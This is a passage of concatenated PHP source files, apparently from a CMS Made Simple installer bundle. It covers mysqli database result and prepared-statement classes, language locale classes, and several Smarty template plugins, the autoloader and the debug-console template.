        if( empty($key) ) return $this->_fields;
        return $this->fields[$key];
    }

    public function RecordCount()
    {
        return $this->_nrows;
    }

    public function EOF()
    {
        return ($this->_nrows == 0 || $this->_pos < 0 || $this->_pos >= $this->_nrows);
    }

    protected function Move($idx)
    {
        if( $idx == $this->_pos ) return TRUE;
        if( $idx >= 0 && $idx < $this->_nrows ) {
            if( mysqli_data_seek($this->_resultId, $idx) ) {
                $this->_pos = $idx;
                $this->fetch_row();
                return TRUE;
            }
        }
        $this->_pos = $this->_nrows;
        return FALSE;
    }

    public function MoveFirst()
    {
        if( $this->_pos == 0 ) return TRUE;
        return $this->Move(0);
    }

    public function MoveNext()
    {
        return $this->Move($this->_pos+1);
    }

    protected function fetch_row()
    {
        if( !$this->EOF() ) $this->_fields = mysqli_fetch_array($this->_resultId, MYSQLI_ASSOC);
    }

} // end of class
<?php

namespace CMSMS\Database\mysqli;

class Statement extends \CMSMS\Database\Statement
{
    private $_data;

    // meta...
    private $_bind;
    private $_bound;
    private $_types;
    private $_stmt; // the statement object.
    private $_meta; // after first execute
    private $_num_rows; // after first execute
    private $_row; // updates after each execute for queries with a resultset
    private $_pos; // updates after each execute for queries with a resultset

    public function __construct(Connection $conn,$sql = null)
    {
        // this is just for type checking.
        parent::__construct($conn,$sql);
    }

    public function __destruct()
    {
        if( $this->_stmt ) {
            $this->_stmt->free_result();
            $this->_stmt->close();
        }
    }

    protected function get_type_char($var)
    {
        $t = gettype($var);
        switch( $t ) {
        case 'double':
            return 'd';
        case 'boolean':
        case 'integer':
            return 'i';
        case 'string':
        default:
            return 's';
        }
    }

    protected function set_bound_data($data)
    {
        $this->_data = $data;
        reset($this->_data);
    }

    protected function bind_params()
    {
        if( !$this->_stmt ) $this->prepare($this->sql);

        // get the type string
        $this->_types = '';
        $keys = null;
        $args = func_get_args();
        if( count($args) == 1 && is_array($args) && is_array($args[0]) ) {
            // we expect that the data is an associtive array
            $row = $args[0];
            foreach( $row as $key => $val ) {
            	$this->_types .= $this->get_type_char($val);
            }
            $this->_bind = array_values($row);
            $keys = array_keys($row);
        } else {
            // function called with numerous parameters... get their types
            $keys = array_keys($args);
            foreach( $args as $val ) {
                $this->_types .= $this->get_type_char($val);
            }
            $this->_bind = array_values($args);
        }

        $this->_bound = array();
        $this->_bound[] =& $this->_types;
        for( $i = 0; $i < count($keys); $i++ ) {
            $this->_bound[] =& $this->_bind[$i];
        }
        call_user_func_array(array($this->_stmt,'bind_param'),$this->_bound);
    }

    protected function prepare($sql)
    {
        $conn = $this->db->get_inner_mysql();
        if( !$conn || !$this->db->IsConnected() ) throw new \LogicException('Attempt to create prepared statement when database is not connected');
        $this->_stmt = $conn->prepare( (string) $sql );
	if( !$this->_stmt ) throw new \LogicException('Could not prepare a statement: '.$conn->error);
        $this->_row = null;
        $this->_pos = 0;
    }

    public function Bind(array $data)
    {
        parent::Bind($data);
        $first = $data[0];
        $this->bind_params($first);
    }

    public function EOF()
    {
        if( $this->_meta ) return ($this->_pos >= $this->_num_rows);
        if( !$this->_data ) return TRUE;
        return (current($this->_data) === FALSE);
    }

    public function MoveFirst()
    {
        if( $this->_meta ) $this->_stmt->data_seek(0);
        if( $this->_data ) reset($this->_data);
    }

    public function MoveNext()
    {
        if( $this->_meta ) $this->_pos = $this->_pos + 1;
        if( $this->_data ) next($this->_data);
    }

    public function Fields($col = null)
    {
        $row = null;
        if( $this->_stmt ) {
            $this->_stmt->fetch();
            $row = $this->_row;
        }
        if( !$row && $this->_data ) $row = current($this->_data);
        if( !$row ) return; // nothing

        if( $col ) {
            if( isset($row[$col]) ) return $row[$col];
        } else {
            return $row;
        }
    }

    public function Execute()
    {
        if( !$this->_stmt ) $this->prepare($this->_sql);
        $args = func_get_args();
        if( count($args) == 1 && is_array($args) && is_array($args[0]) ) $args = $args[0];

        /* if we have param count, find some arguments... either via the execute method... or via bound params */
        $pc = $this->_stmt->param_count;
        $fc = $this->_stmt->field_count;
        if( $args ) {
            $this->_data = $args;
            $this->bind_params($args);
        }
        if( $pc ) {
            // we are expecting paramers
            if( !count($args) ) {
                // get the arguments via the bound data current row.
                if( !$this->_bind ) throw new \LogicException('No bound parameters, and no arguments passed');
                if( count($this->_bind) != $pc ) throw new \LogicException('Incorrect number of bound parameters.  Expecting '.$this->_stmt->field_count);
                $args = $this->Fields();
            }
        }
        if( $pc != count($args) ) throw new \LogicException('Incorrect number of arguments. Expecting '.$pc);

        if( $args ) {
            // update bound values
            $keys = array_keys($args);
            for( $i = 0; $i < count($this->_bind); $i++ ) {
                $this->_bind[$i] = $args[$keys[$i]];
            }
        }

        $res = $this->_stmt->execute();
        if( !$res ) die('ERROR: '.$this->_stmt->error."\n");

        $this->_stmt->store_result();

        $meta = $this->_stmt->result_metadata();
        if( !$this->_meta && $meta ) {
            $this->_num_rows = $this->_stmt->num_rows;
            $this->_meta = $meta;
            $this->_row = array();
            while( $field = $this->_meta->fetch_field() ) {
                $this->_row[$field->name] = null;
                $params[] =& $this->_row[$field->name];
            }
            call_user_func_array(array($this->_stmt,'bind_result'),$params);
        }
    }
}
<?php

namespace __appbase;

final class de_DE_nls extends nls
{
  public function __construct()
  {
    $this->_fullname = 'German';
    $this->_display = 'Deutsch';
    $this->_isocode = 'de';
    $this->_locale = 'de_DE';
    $this->_encoding = 'UTF-8';
    $this->_aliases = 'german,de_DE.ISO8859-1';
  }

  
} // end of class

?><?php

namespace __appbase;

class en_US_nls extends nls
{
  public function __construct()
  {
    $this->_fullname = 'English';
	
    $this->_isocode = 'en';
    $this->_locale = 'en_US';
    $this->_encoding = 'UTF-8';
    $this->_aliases = 'english,eng,en_CA,en_GB,en_US.ISO8859-1';
  }  

  public function foo() { return 1; }
} // end of class

?><?php

namespace __appbase;

final class fr_FR_nls extends nls
{
  public function __construct()
  {
    $this->_fullname = 'French';
    $this->_display = 'Fran&#231;ais';
    $this->_isocode = 'fr';
    $this->_locale = 'fr_FR';
    $this->_encoding = 'UTF-8';
    $this->_aliases = 'french,fre,fr_BE,fr_CA,fr_LU,fr_CH,fr_FR.ISO8859-1';
  }  
  
  
} // end of class

?><?php

namespace __appbase;

final class nb_NO_nls extends nls
{
  public function __construct()
  {
    $this->_fullname = 'Norwegian bokmål';
    $this->_display = 'Norsk bokmål';
    $this->_isocode = 'nb';
    $this->_locale = 'nb_NO';
    $this->_encoding = 'UTF-8';
    $this->_aliases = 'nb_NO.utf8,nb_NO.utf-8,nb_NO.UTF-8,nb_NO,nb_NO.ISO8859-1,nb_NO.ISO8859-15,norwegian,Norwegian_Norway.1252';
  }  
  
  
} // end of class

?>
<?php

namespace __appbase;

final class nl_NL_nls extends nls
{
  public function __construct()
  {
    $this->_fullname = 'Dutch';
    $this->_display = 'Nederlands';
    $this->_isocode = 'nl';
    $this->_locale = 'nl_NL';
    $this->_encoding = 'UTF-8';
    $this->_aliases = 'dutch,nl_NL.ISO8859-1';
  }  
  
  
} // end of class

?><?php

namespace __appbase;

final class pt_PT_nls extends nls
{
  public function __construct()
  {
    $this->_fullname = 'Portuguese';
    $this->_display = 'Portugu&ecirc;s';
    $this->_isocode = 'pt';
    $this->_locale = 'pt_PT';
    $this->_encoding = 'UTF-8';
    $this->_aliases = 'portugguese,pt_PT.ISO8859-1';
  }  
  
  
} // end of class

?>
<?php

namespace __appbase;

final class ru_RU_nls extends nls
{
  public function __construct()
  {
    $this->_fullname = 'Русский';
    $this->_isocode = 'ru';
    $this->_locale = 'ru_RU';
    $this->_encoding = 'UTF-8';
    $this->_aliases = 'russian,ru,ru_RU,ru_RU.ISO3166-2';
  }  
   
} // end of class

?><?php
/**
 * Smarty plugin
 * Type:     modifier<br>
 * Name:     cms_date_format<br>
 * Purpose:  format datestamps via strftime<br>
 * Input:<br>
 *          - string: input date string
 *          - format: strftime format for output
 *          - default_date: default date if $string is empty
 *
 * @link   http://www.smarty.net/manual/en/language.modifier.date.format.php date_format (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param string $string       input date string
 * @param null   $format       strftime format for output
 * @param string $default_date default date if $string is empty
 *
 * @return string |void
 * @uses   smarty_make_timestamp()
 *
 * Modified by JoMorg to use our version of deprecated strftime
 */
function smarty_modifier_cms_date_format($string, $format = NULL, $default_date = '', $formatter = 'auto')
{
	if ($format === null)
	{
		$format = Smarty::$_DATE_FORMAT;
	}
	
	/**
	 * require_once the {@link shared.make_timestamp.php} plugin
	 */
	static $is_loaded = FALSE;
	if(!$is_loaded)
	{
		if(!is_callable('smarty_make_timestamp'))
		{
			include_once SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php';
		}
		$is_loaded = TRUE;
	}
	if(!empty($string) && '0000-00-00' !== $string && '0000-00-00 00:00:00' !== $string)
	{
		$timestamp = smarty_make_timestamp($string);
	}
	else if(!empty($default_date))
	{
		$timestamp = smarty_make_timestamp($default_date);
	}
	else
	{
		return;
	}
	if('strftime' === $formatter || ('auto' === $formatter && FALSE !== strpos($format, '%')))
	{
		if(Smarty::$_IS_WINDOWS)
		{
			$_win_from = [
				'%D',
				'%h',
				'%n',
				'%r',
				'%R',
				'%t',
				'%T'
			];
			$_win_to   = [
				'%m/%d/%y',
				'%b',
				"\n",
				'%I:%M:%S %p',
				'%H:%M',
				"\t",
				'%H:%M:%S'
			];
			if(FALSE !== strpos($format, '%e'))
			{
				$_win_from[] = '%e';
				$_win_to[]   = sprintf('%\' 2d', date('j', $timestamp));
			}
			if(FALSE !== strpos($format, '%l'))
			{
				$_win_from[] = '%l';
				$_win_to[]   = sprintf('%\' 2d', date('h', $timestamp));
			}
			$format = str_replace($_win_from, $_win_to, $format);
		}
		
		return \cms_autoinstaller\utils::strftime($format, $timestamp);
	}
	
	return date($format, $timestamp);
}

// EOF
?>
<?php
/**
 * Smarty plugin
 * Type:     modifier
 * Name:     localedate_format
 * Purpose:  format date/time values
 *
 * @param mixed $datevar      input date-time string | timestamp | DateTime object
 * @param string $format      optional strftime() and/or date()-compatible format for output. Default '%b %e, %Y'
 * @param mixed $default_date optional date-time to use if $datevar is empty. Default ''
 *
 * @return string
 */

function smarty_modifier_localedate_format($datevar, $format = '%b %e, %Y', $default_date = '')
{
    if (empty($datevar)) {
        $datevar = $default_date;
    }
    if (empty($datevar)) {
        $st = time();
    } elseif (is_numeric($datevar)) {
        $st = (int)$datevar;
    } elseif ($datevar instanceof DateTime
      || (interface_exists('DateTimeInterface', false) && $datevar instanceof DateTimeInterface)
    ) {
        $st = $datevar->format('U');
    } else {
        $st = strtotime($datevar);
        if ($st === -1 || $st === false) {
            $st = time();
        }
    }

    $outfmt = localedate_adjust($format);
    $tmp = date($outfmt, $st);
    $text = preg_replace_callback_array(array(
        '~[\x01-\x08\x0e\x0f]~' => function($m) use($st) {
            return localedate_ise ($st, $m[0]);
        },
        '~\x11~' => function($m) use($st) { // two-digit century
            return floor(date('Y', $st) / 100);
        },
        '~\x12~' => function($m) use($st) { // week of year, per ISO8601
            return substr(date('o', $st), -2);
        },
        '~\x10~' => function($m) use($st) { // week of year, assuming the first Monday is day 0
             $n1 = date('Y', $st);
             $n2 = date('z', strtotime('first monday of january '.$n1));
             $n1 = date('z', $st);
             return floor(($n2-$n1) / 7) + 1;
         },
        '~\x13~' => function($m) use($st) { // week of year, assuming the first Sunday is day 0
            $n1 = date('Y', $st);
            $n2 = date('z', strtotime('first sunday of january '.$n1));
            $n1 = date('z', $st);
            return floor(($n2-$n1) / 7) + 1;
        }
    ), $tmp);

    return $text;
}

function localedate_adjust($fmt)
{
    if (!$fmt) {
        return $fmt;
    }
    $from = array(
    '%a', // \1
    '%A', // \2
    '%d',
    '%e',
    '%j',
    '%u',
    '%w',
    '%W', // \10
    '%b', // \3
    '%h', // \3
    '%B', // \4
    '%m',
    '%y',
    '%Y',
    '%D',
    '%F',
    '%x', // \6
    '%H',
    '%k',
    '%I',
    '%l',
    '%M',
    '%p', // \0e
    '%P', // \0f
    '%r',
    '%R',
    '%S',
    '%T',
    '%X', // \7
    '%z',
    '%Z',
    '%c', // \8
    '%s',
    '%n',
    '%t',
    '%%',
    '%C', // \11
    '%g', // \12
    '%G',
    '%U', // \13
    '%V',
    );

    $to = array(
    "\1",
    "\2",
    'd',
    'j', // interim
    'z',
    'N',
    'w',
    "\x10",
    "\3",
    "\3",
    "\4",
    'm',
    'y',
    'Y',
    'm/d/y',
    'Y-m-d',
    "\6",
    'H',
    'G',
    'h',
    'g',
    'i',
    "\x0e",
    "\x0f",
    'h:i:s A',
    'H:i',
    's',
    'H:i:s',
    "\7",
    'O',
    'T',
    "\x8",
    'U',
    "\n",
    "\t",
    '&#37;', // '%' chars are valid but may confuse e.g. Smarty date-munger
    "\x11",
    "\x12",
    'o',
    "\x13",
    'W',
    );
    if (strncasecmp(PHP_OS, 'WIN', 3) === 0) {
// TODO robustly derive values for Windows OS
/* see
https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/strftime-wcsftime-strftime-l-wcsftime-l?redirectedfrom=MSDN&view=msvc-170
re other uses of '#' modifier
*/
        $to[3] = '#d'; // per php.net: correctly relace %e on Windows
    }
    return str_replace($from, $to, $fmt);
}

function localedate_ise ($st, $mode)
{
    if (extension_loaded('Intl')) {
        $dt = new DateTime();
        $dt->setTimestamp($st);
        $locale = \__appbase\translator()->get_selected_language();

        switch ($mode) {
        case "\1": // short day name
            return datefmt_format_object($dt, 'EEE', $locale);
        case "\2": // normal day name
            return datefmt_format_object($dt, 'EEEE', $locale);
        case "\3": // short month name
            return datefmt_format_object($dt, 'MMM', $locale);
        case "\4": // normal month name
            return datefmt_format_object($dt, 'MMMM', $locale);
        case "\6": // date only
            return datefmt_format_object($dt,
                array(IntlDateFormatter::FULL, IntlDateFormatter::NONE), $locale);
        case "\7": // time only
            return datefmt_format_object($dt,
                array(IntlDateFormatter::NONE, IntlDateFormatter::MEDIUM), $locale);
        case "\x8": // date and time
            return datefmt_format_object($dt,
                array(IntlDateFormatter::FULL, IntlDateFormatter::MEDIUM), $locale);
        case "\x0e": // am/pm, upper-case
        case "\x0f": // am/pm, lower-case
            $s = datefmt_format_object($dt, 'a', $locale);
            if ($mode == "\x0e") {
                // force upper-case, any charset
                if (!preg_match('/[\x80-\xff]/',$s)) { return strtoupper($s); }
                elseif (function_exists('mb_strtoupper')) { return mb_strtoupper($s); }
            } else {
                // force lower-case, any charset
                if (!preg_match('/[\x80-\xff]/',$s)) { return strtolower($s); }
                elseif (function_exists('mb_strtolower')) { return mb_strtolower($s); }
            }
            return $s;
        default:
            return 'Unknown Format';
        }
    } elseif (function_exists('nl_langinfo')) { // not Windows OS
        switch ($mode) {
        case "\1": // short day name
            $n = date('w', $st) + 1;
            $fmt = constant('ABDAY_'.$n);
            return nl_langinfo($fmt);
        case "\2": // normal day name
            $n = date('w', $st) + 1;
            $fmt = constant('DAY_'.$n);
            return nl_langinfo($fmt);
        case "\3": // short month name
            $n = date('n', $st);
            $fmt = constant('ABMON_'.$n);
            return nl_langinfo($fmt);
        case "\4": // normal month name
            $n = date('n', $st);
            $fmt = constant('MON_'.$n);
            return nl_langinfo($fmt);
        case "\6": // date without time
            $fmt = nl_langinfo(D_FMT);
            $fmt = localedate_adjust($fmt);
            return date($fmt);
        case "\7": // time without date
            $fmt = nl_langinfo(T_FMT);
            $fmt = localedate_adjust($fmt);
            return date($fmt);
        case "\x8": // date and time
            $fmt = nl_langinfo(D_T_FMT);
            $fmt = localedate_adjust($fmt);
            return date($fmt);
        case "\x0e": // am/pm, upper-case
        case "\x0f": // am/pm, lower-case
            $s = date('A', $st);
            $fmt = ($s == 'AM') ? AM_STR : PM_STR;
            $s = nl_langinfo($fmt);
            if ($mode == "\x0e") {
                // force upper-case, any charset
                if (!preg_match('/[\x80-\xff]/',$s)) { return strtoupper($s); }
                elseif (function_exists('mb_strtoupper')) { return mb_strtoupper($s); }
            } else {
                // force lower-case, any charset
                if (!preg_match('/[\x80-\xff]/',$s)) { return strtolower($s); }
                elseif (function_exists('mb_strtolower')) { return mb_strtolower($s); }
            }
            return $s;
        default:
            return 'Unknown Format';
        }
    } else {
// TODO robustly derive values for Windows OS
        switch ($mode) {
        case "\1": // short day name
            return date('D', $st);
        case "\2": // normal day name
            return date('l', $st);
        case "\3": // short month name
            return date('M', $st);
        case "\4": // normal month name
            return date('F', $st);
        case "\6": // date only
            return date('j F Y', $st);
        case "\7": // time only
            return date('H:i:s', $st);
        case "\x8": // date and time
            return date('j F Y h:i a', $st);
        case "\x0e": // am/pm, upper-case
            return date('A', $st);
        case "\x0f": // am/pm, lower-case
            return date('a', $st);
        default:
            return 'Unknown Format';
        }
    }
}

function smarty_cms_help_modifier_localedate_format()
{
    echo <<<EOS
<p>Replacement for Smarty modifier date_format. This does not use deprecated strftime() to process the format</p>
<pre>{\$datetimevar|localedate_format[:&apos;optional params&apos;]}</pre>
<p>Parameters</p>
<ul>
<li>(<em>optional</em>)string PHP date()- and/or strftime()-compatible format specifier. Default &apos;%b %e, %Y&apos;</li>
<li>(<em>optional</em>)stamp|string|DateTime object default datetime specifier to use if necessary</li>
</ul>
EOS;
}

function smarty_cms_about_modifier_localedate_format()
{
    echo <<<EOS
<p>Change History:</p>
<ul>
 <li>None</li>
</ul>
EOS;
}
<?php
/**
 * Smarty Autoloader
 *
 * @package Smarty
 */


if (!defined('SMARTY_HELPER_FUNCTIONS_LOADED')) {
	include __DIR__ . '/functions.php';
}

/**
 * Smarty Autoloader
 *
 * @package Smarty
 * @author  Uwe Tews
 *             Usage:
 *                  require_once '...path/Autoloader.php';
 *                  Smarty_Autoloader::register();
 *             or
 *                  include '...path/bootstrap.php';
 *
 *                  $smarty = new Smarty();
 */
class Smarty_Autoloader
{
    /**
     * Filepath to Smarty root
     *
     * @var string
     */
    public static $SMARTY_DIR = null;

    /**
     * Filepath to Smarty internal plugins
     *
     * @var string
     */
    public static $SMARTY_SYSPLUGINS_DIR = null;

    /**
     * Array with Smarty core classes and their filename
     *
     * @var array
     */
    public static $rootClasses = array('smarty' => 'Smarty.class.php');

    /**
     * Registers Smarty_Autoloader backward compatible to older installations.
     *
     * @param bool $prepend Whether to prepend the autoloader or not.
     */
    public static function registerBC($prepend = false)
    {
        /**
         * register the class autoloader
         */
        if (!defined('SMARTY_SPL_AUTOLOAD')) {
            define('SMARTY_SPL_AUTOLOAD', 0);
        }
        if (SMARTY_SPL_AUTOLOAD
            && set_include_path(get_include_path() . PATH_SEPARATOR . SMARTY_SYSPLUGINS_DIR) !== false
        ) {
            $registeredAutoLoadFunctions = spl_autoload_functions();
            if (!isset($registeredAutoLoadFunctions[ 'spl_autoload' ])) {
                spl_autoload_register();
            }
        } else {
            self::register($prepend);
        }
    }

    /**
     * Registers Smarty_Autoloader as an SPL autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not.
     */
    public static function register($prepend = false)
    {
        self::$SMARTY_DIR = defined('SMARTY_DIR') ? SMARTY_DIR : __DIR__ . DIRECTORY_SEPARATOR;
        self::$SMARTY_SYSPLUGINS_DIR = defined('SMARTY_SYSPLUGINS_DIR') ? SMARTY_SYSPLUGINS_DIR :
            self::$SMARTY_DIR . 'sysplugins' . DIRECTORY_SEPARATOR;
        spl_autoload_register(array(__CLASS__, 'autoload'), true, $prepend);
    }

    /**
     * Handles auto loading of classes.
     *
     * @param string $class A class name.
     */
    public static function autoload($class)
    {
        if ($class[ 0 ] !== 'S' || strpos($class, 'Smarty') !== 0) {
            return;
        }
        $_class = smarty_strtolower_ascii($class);
        if (isset(self::$rootClasses[ $_class ])) {
            $file = self::$SMARTY_DIR . self::$rootClasses[ $_class ];
            if (is_file($file)) {
                include $file;
            }
        } else {
            $file = self::$SMARTY_SYSPLUGINS_DIR . $_class . '.php';
            if (is_file($file)) {
                include $file;
            }
        }
        return;
    }
}
<?php
/**
 * This file is part of the Smarty package.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
/**
 * Load and register Smarty Autoloader
 */
if (!class_exists('Smarty_Autoloader')) {
    include __DIR__ . '/Autoloader.php';
}
Smarty_Autoloader::register(true);
{capture name='_smarty_debug' assign=debug_output}
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <title>Smarty Debug Console</title>
        <style>
            {literal}
            body, h1, h2, h3, td, th, p {
                font-family: sans-serif;
                font-weight: normal;
                font-size: 0.9em;
                margin: 1px;
                padding: 0;
            }

            h1 {
                margin: 0;
                text-align: left;
                padding: 2px;
                background-color: #f0c040;
                color: black;
                font-weight: bold;
                font-size: 1.2em;
            }

            h2 {
                background-color: #9B410E;
                color: white;
                text-align: left;
                font-weight: bold;
                padding: 2px;
                border-top: 1px solid black;
            }

            h3 {
                text-align: left;
                font-weight: bold;
                color: black;
                font-size: 0.7em;
                padding: 2px;
            }

            body {
                background: black;
            }

            p, table, div {
                background: #f0ead8;
            }

            p {
                margin: 0;
                font-style: italic;
                text-align: center;
            }

            table {
                width: 100%;
            }

            th, td {
                font-family: monospace;
                vertical-align: top;
                text-align: left;
            }

            td {
                color: green;
            }

            tr:nth-child(odd) {
                background-color: #eeeeee;
            }

            tr:nth-child(even) {
                background-color: #fafafa;
            }

            .exectime {
                font-size: 0.8em;
                font-style: italic;
            }

            #bold div {
                color: black;
                font-weight: bold;
            }

            #blue h3 {
                color: blue;
            }

            #normal div {
                color: black;
                font-weight: normal;
            }

            #table_assigned_vars th {
                color: blue;
                font-weight: bold;
            }

            #table_config_vars th {
                color: maroon;
            }
            {/literal}
        </style>
    </head>
    <body>

    <h1>Smarty {Smarty::SMARTY_VERSION} Debug Console
        -  {if isset($template_name)}{$template_name|debug_print_var nofilter} {/if}{if !empty($template_data)}Total Time {$execution_time|string_format:"%.5f"}{/if}</h1>

    {if !empty($template_data)}
        <h2>included templates &amp; config files (load time in seconds)</h2>
        <div>
            {foreach $template_data as $template}
                <span style="color: brown;">{$template.name}</span>
                <br>&nbsp;&nbsp;<span class="exectime">
                (compile {$template['compile_time']|string_format:"%.5f"}) (render {$template['render_time']|string_format:"%.5f"}) (cache {$template['cache_time']|string_format:"%.5f"})
                 </span>
                <br>
            {/foreach}
        </div>
    {/if}

    <h2>assigned template variables</h2>

    <table id="table_assigned_vars">
        {foreach $assigned_vars as $vars}
            <tr>
                <td>
                    <h3 style="color: blue;">${$vars@key}</h3>
                    {if isset($vars['nocache'])}<strong>Nocache</strong><br>{/if}
                    {if isset($vars['scope'])}<strong>Origin:</strong> {$vars['scope']|debug_print_var nofilter}{/if}
                </td>
                <td>
                    <h3>Value</h3>
                    {$vars['value']|debug_print_var:10:80 nofilter}
                </td>
                <td>
                    {if isset($vars['attributes'])}
                        <h3>Attributes</h3>
                        {$vars['attributes']|debug_print_var nofilter}
                    {/if}
                </td>
         {/foreach}
    </table>

    <h2>assigned config file variables</h2>

    <table id="table_config_vars">
        {foreach $config_vars as $vars}
            <tr>
                <td>
                    <h3 style="color: blue;">#{$vars@key}#</h3>
                    {if isset($vars['scope'])}<strong>Origin:</strong> {$vars['scope']|debug_print_var nofilter}{/if}
                </td>
                <td>
                    {$vars['value']|debug_print_var:10:80 nofilter}
                </td>
            </tr>
        {/foreach}

    </table>
    </body>
    </html>
{/capture}
<script type="text/javascript">
    _smarty_console = window.open("", "console{$targetWindow}", "width=1024,height=600,left={$offset},top={$offset},resizable,scrollbars=yes");
    _smarty_console.document.write("{$debug_output|escape:'javascript' nofilter}");
    _smarty_console.document.close();
</script>
<?php
/**
 * This file is part of the Smarty package.
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
/**
 * Registers some helper/polyfill functions.
 */

const SMARTY_HELPER_FUNCTIONS_LOADED = true;

/**
 * Converts the first characters in $string to uppercase (A-Z) if it is an ASCII lowercase character (a-z).
 *
 * May not be required when running PHP8.2+: https://wiki.php.net/rfc/strtolower-ascii
 *
 * @param $string
 *
 * @return string
 */
function smarty_ucfirst_ascii($string): string {
    return smarty_strtoupper_ascii(substr($string, 0, 1)) . substr($string, 1);
}

/**
 * Converts all uppercase ASCII characters (A-Z) in $string to lowercase (a-z).
 *
 * May not be required when running PHP8.2+: https://wiki.php.net/rfc/strtolower-ascii
 *
 * @param $string
 *
 * @return string
 */
function smarty_strtolower_ascii($string): string {
    return strtr($string, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
}

/**
 * Converts all lowercase ASCII characters (a-z) in $string to uppercase (A-Z).
 *
 * May not be required when running PHP8.2+: https://wiki.php.net/rfc/strtolower-ascii
 *
 * @param $string
 *
 * @return string
 */
function smarty_strtoupper_ascii($string): string {
    return strtr($string, 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ');
}<?php
/**
 * Smarty plugin to format text blocks
 *
 * @package    Smarty
 * @subpackage PluginsBlock
 */
/**
 * Smarty {textformat}{/textformat} block plugin
 * Type:     block function
 * Name:     textformat
 * Purpose:  format text a certain way with preset styles
 *           or custom wrap/indent settings
 * Params:
 *
 * - style         - string (email)
 * - indent        - integer (0)
 * - wrap          - integer (80)
 * - wrap_char     - string ("\n")
 * - indent_char   - string (" ")
 * - wrap_boundary - boolean (true)
 *
 * @link   https://www.smarty.net/manual/en/language.function.textformat.php {textformat}
 *         (Smarty online manual)
 *
 * @param array                    $params   parameters
 * @param string                   $content  contents of the block
 * @param Smarty_Internal_Template $template template object
 * @param boolean                  &$repeat  repeat flag
 *
 * @return string content re-formatted
 * @author Monte Ohrt <monte at ohrt dot com>
 * @throws \SmartyException
 */
function smarty_block_textformat($params, $content, Smarty_Internal_Template $template, &$repeat)
{
    if (is_null($content)) {
        return;
    }
    if (Smarty::$_MBSTRING) {
        $template->_checkPlugins(
            array(
                array(
                    'function' => 'smarty_modifier_mb_wordwrap',
                    'file'     => SMARTY_PLUGINS_DIR . 'modifier.mb_wordwrap.php'
                )
            )
        );
    }
    $style = null;
    $indent = 0;
    $indent_first = 0;
    $indent_char = ' ';
    $wrap = 80;
    $wrap_char = "\n";
    $wrap_cut = false;
    $assign = null;
    foreach ($params as $_key => $_val) {
        switch ($_key) {
            case 'style':
            case 'indent_char':
            case 'wrap_char':
            case 'assign':
                $$_key = (string)$_val;
                break;
            case 'indent':
            case 'indent_first':
            case 'wrap':
                $$_key = (int)$_val;
                break;
            case 'wrap_cut':
                $$_key = (bool)$_val;
                break;
            default:
                trigger_error("textformat: unknown attribute '{$_key}'");
        }
    }
    if ($style === 'email') {
        $wrap = 72;
    }
    // split into paragraphs
    $_paragraphs = preg_split('![\r\n]{2}!', $content);
    foreach ($_paragraphs as &$_paragraph) {
        if (!$_paragraph) {
            continue;
        }
        // convert mult. spaces & special chars to single space
        $_paragraph =
            preg_replace(
                array(
                    '!\s+!' . Smarty::$_UTF8_MODIFIER,
                    '!(^\s+)|(\s+$)!' . Smarty::$_UTF8_MODIFIER
                ),
                array(
                    ' ',
                    ''
                ),
                $_paragraph
            );
        // indent first line
        if ($indent_first > 0) {
            $_paragraph = str_repeat($indent_char, $indent_first) . $_paragraph;
        }
        // wordwrap sentences
        if (Smarty::$_MBSTRING) {
            $_paragraph = smarty_modifier_mb_wordwrap($_paragraph, $wrap - $indent, $wrap_char, $wrap_cut);
        } else {
            $_paragraph = wordwrap($_paragraph, $wrap - $indent, $wrap_char, $wrap_cut);
        }
        // indent lines
        if ($indent > 0) {
            $_paragraph = preg_replace('!^!m', str_repeat($indent_char, $indent), $_paragraph);
        }
    }
    $_output = implode($wrap_char . $wrap_char, $_paragraphs);
    if ($assign) {
        $template->assign($assign, $_output);
    } else {
        return $_output;
    }
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {counter} function plugin
 * Type:     function
 * Name:     counter
 * Purpose:  print out a counter value
 *
 * @author Monte Ohrt <monte at ohrt dot com>
 * @link   https://www.smarty.net/manual/en/language.function.counter.php {counter}
 *         (Smarty online manual)
 *
 * @param array                    $params   parameters
 * @param Smarty_Internal_Template $template template object
 *
 * @return string|null
 */
function smarty_function_counter($params, $template)
{
    static $counters = array();
    $name = (isset($params[ 'name' ])) ? $params[ 'name' ] : 'default';
    if (!isset($counters[ $name ])) {
        $counters[ $name ] = array('start' => 1, 'skip' => 1, 'direction' => 'up', 'count' => 1);
    }
    $counter =& $counters[ $name ];
    if (isset($params[ 'start' ])) {
        $counter[ 'start' ] = $counter[ 'count' ] = (int)$params[ 'start' ];
    }
    if (!empty($params[ 'assign' ])) {
        $counter[ 'assign' ] = $params[ 'assign' ];
    }
    if (isset($counter[ 'assign' ])) {
        $template->assign($counter[ 'assign' ], $counter[ 'count' ]);
    }
    if (isset($params[ 'print' ])) {
        $print = (bool)$params[ 'print' ];
    } else {
        $print = empty($counter[ 'assign' ]);
    }
    if ($print) {
        $retval = $counter[ 'count' ];
    } else {
        $retval = null;
    }
    if (isset($params[ 'skip' ])) {
        $counter[ 'skip' ] = $params[ 'skip' ];
    }
    if (isset($params[ 'direction' ])) {
        $counter[ 'direction' ] = $params[ 'direction' ];
    }
    if ($counter[ 'direction' ] === 'down') {
        $counter[ 'count' ] -= $counter[ 'skip' ];
    } else {
        $counter[ 'count' ] += $counter[ 'skip' ];
    }
    return $retval;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {cycle} function plugin
 * Type:     function
 * Name:     cycle
 * Date:     May 3, 2002
 * Purpose:  cycle through given values
 * Params:
 *
 * - name      - name of cycle (optional)
 * - values    - comma separated list of values to cycle, or an array of values to cycle
 *               (this can be left out for subsequent calls)
 * - reset     - boolean - resets given var to true
 * - print     - boolean - print var or not. default is true
